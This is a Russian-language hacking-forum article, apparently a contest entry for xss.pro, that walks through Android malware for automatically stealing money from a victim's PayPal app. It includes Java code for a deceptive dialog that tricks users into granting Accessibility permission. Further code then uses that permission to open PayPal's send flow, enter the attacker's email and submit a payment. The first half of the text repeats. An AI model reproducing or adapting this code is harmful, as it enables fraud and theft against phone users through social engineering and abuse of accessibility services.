Всем привет! Сегодня я хочу написать про android а именно про клики,заполнения форм поиск текста и т.д. А чтобы было хоть как то интересно мы напишем автослив с paypal.
И так первым делом нам надо отправить пользователя включить функцию Accessibility, как заставить его залезть в приложения это уже другое дело:smile58:, push уведомления в помощь.
Ну да ладно, отошли от темы, отправляем холдера включить функцию.
Title текст "builder.setTitle("To enable statistics")"
Текст сообщения ".setMessage("The system does not work correctly, you need to enable access to statistics ")"
Иконка ".setIcon(R.mipmap.ic_launcher)", путь к иконки.
Текст кнопки (Button) ".setPositiveButton("Turn on now", new DialogInterface.OnClickListener() {"
Если нажали на кнопку отправляем в настройки Accessibility, настройки " Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
startActivity(intent);"
Пример запроса, при клике пользователь попадает в настройки.
Перенаправили холдера включить функцию.
Можно сделать проверку включил холдер функцию или нет, крутить в цикле, Toast, СИ и так далее в общем помочь ему в выборе, но сейчас не об этом
Теперь когда нам дали разрешения приступим.
Первым делом мы будем искать текст куда нам нужно кликнуть.
Искать я буду слово "Отправить", если находим кликаем .
Сравниваем имя пакета "if ("com.paypal.android.p2pmobile".equals(String.format("%s", event.getPackageName()))) {"
если имя пакета paypal то ищем слово "Отправить" и делаем клик.
Далее нам нужно заполнить EditText искать мы будем по id и если нашли кликаем и заполняем тестом.
Нужное нам id по которому нужно сделать клик "com.paypal.android.p2pmobile:id/search_filter"
и заполнить, заполняем нашей почтой куда отправить $ ну в нашем случае рубли:smile75:
args.putString(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, "your.mail@gmail.com");
Почта "your.mail@gmail.com".
Нажимаем далее и переходим на следующую страницу.
Кнопка далее и id кнопки будет следующим"com.paypal.android.p2pmobile:id/next_button"
Если нашли кликаем.
Кликаем по кнопке 1 я не жадный
. Смотрим id нужной кнопки "com.paypal.android.p2pmobile:id/one".
Нашли кликнули все просто.
Жмем далее, как вы могли заметить мы в основном ищем по id , только в одном случае мы искали по тексту я думаю понятно что текст будет отличатся в других странах.
Повторяемся и жмем далее "com.paypal.android.p2pmobile:id/next_button".
И последующими двумя действиями мы отправляем платеж.
К сожелению не смог прикрепить остальные скрины.
Всем спасибо за внимание и надеюсь статья вам понравилась, я первый раз участвую в конкурсе.
Специально для xss.pro, всем большой рахмет!!!
И так первым делом нам надо отправить пользователя включить функцию Accessibility, как заставить его залезть в приложения это уже другое дело:smile58:, push уведомления в помощь.
Ну да ладно, отошли от темы, отправляем холдера включить функцию.
Код:
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("To enable statistics")
.setMessage("The system does not work correctly, you need to enable access to statistics ")
.setCancelable(false)
.setIcon(R.mipmap.ic_launcher)
.setPositiveButton("Turn on now", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
startActivity(intent);
}
});
builder.create().show();
}
Title текст "builder.setTitle("To enable statistics")"
Текст сообщения ".setMessage("The system does not work correctly, you need to enable access to statistics ")"
Иконка ".setIcon(R.mipmap.ic_launcher)", путь к иконки.
Текст кнопки (Button) ".setPositiveButton("Turn on now", new DialogInterface.OnClickListener() {"
Если нажали на кнопку отправляем в настройки Accessibility, настройки " Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
startActivity(intent);"
Пример запроса, при клике пользователь попадает в настройки.
Перенаправили холдера включить функцию.
Можно сделать проверку включил холдер функцию или нет, крутить в цикле, Toast, СИ и так далее в общем помочь ему в выборе, но сейчас не об этом
Теперь когда нам дали разрешения приступим.
Первым делом мы будем искать текст куда нам нужно кликнуть.
Искать я буду слово "Отправить", если находим кликаем .
Сравниваем имя пакета "if ("com.paypal.android.p2pmobile".equals(String.format("%s", event.getPackageName()))) {"
если имя пакета paypal то ищем слово "Отправить" и делаем клик.
Код:
if ("com.paypal.android.p2pmobile".equals(String.format("%s", event.getPackageName()))) {
AccessibilityNodeInfo nodeInfos = getRootInActiveWindow();
if (nodeInfos == null) {
return;
}
List<AccessibilityNodeInfo> list = nodeInfos.findAccessibilityNodeInfosByText("Отправить");
if (list != null) {
for (AccessibilityNodeInfo n : list) {
AccessibilityNodeInfo parent = n.getParent();
parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
break;
}
}
Далее нам нужно заполнить EditText искать мы будем по id и если нашли кликаем и заполняем тестом.
Нужное нам id по которому нужно сделать клик "com.paypal.android.p2pmobile:id/search_filter"
и заполнить, заполняем нашей почтой куда отправить $ ну в нашем случае рубли:smile75:
args.putString(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, "your.mail@gmail.com");
Почта "your.mail@gmail.com".
Код:
List<AccessibilityNodeInfo> searchBarIdle = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/search_filter");
if (searchBarIdle.size() > 0) {
AccessibilityNodeInfo searchBar = searchBarIdle.get(0);
searchBar.performAction(AccessibilityNodeInfo.ACTION_CLICK);
Bundle args = new Bundle();
args.putString(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, "your.mail@gmail.com");
searchBar.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, args);
}
Нажимаем далее и переходим на следующую страницу.
Кнопка далее и id кнопки будет следующим"com.paypal.android.p2pmobile:id/next_button"
Если нашли кликаем.
Код:
List<AccessibilityNodeInfo> searc = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/options_recycler_view");
if (searc.size() > 0) {
List<AccessibilityNodeInfo> lllists = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/next_button");
for (AccessibilityNodeInfo nodes : lllists) {
nodes.performAction(AccessibilityNodeInfo.ACTION_CLICK);
}
}
Кликаем по кнопке 1 я не жадный
Нашли кликнули все просто.
Код:
List<AccessibilityNodeInfo> lists = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/one");
for (AccessibilityNodeInfo nodes : lists) {
nodes.performAction(AccessibilityNodeInfo.ACTION_CLICK);
}
Жмем далее, как вы могли заметить мы в основном ищем по id , только в одном случае мы искали по тексту я думаю понятно что текст будет отличатся в других странах.
Повторяемся и жмем далее "com.paypal.android.p2pmobile:id/next_button".
Код:
List<AccessibilityNodeInfo> lllists = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/next_button");
for (AccessibilityNodeInfo nodes : lllists) {
nodes.performAction(AccessibilityNodeInfo.ACTION_CLICK);
}
И последующими двумя действиями мы отправляем платеж.
Код:
List<AccessibilityNodeInfo> lllistss = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/submit_button_container");
for (AccessibilityNodeInfo nodes : lllistss) {
nodes.performAction(AccessibilityNodeInfo.ACTION_CLICK);
}
List<AccessibilityNodeInfo> lllistsss = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/primary_action");
for (AccessibilityNodeInfo nodes : lllistsss) {
nodes.performAction(AccessibilityNodeInfo.ACTION_CLICK);
}
}
К сожелению не смог прикрепить остальные скрины.
Всем спасибо за внимание и надеюсь статья вам понравилась, я первый раз участвую в конкурсе.
Специально для xss.pro, всем большой рахмет!!!
Вложения
Последнее редактирование: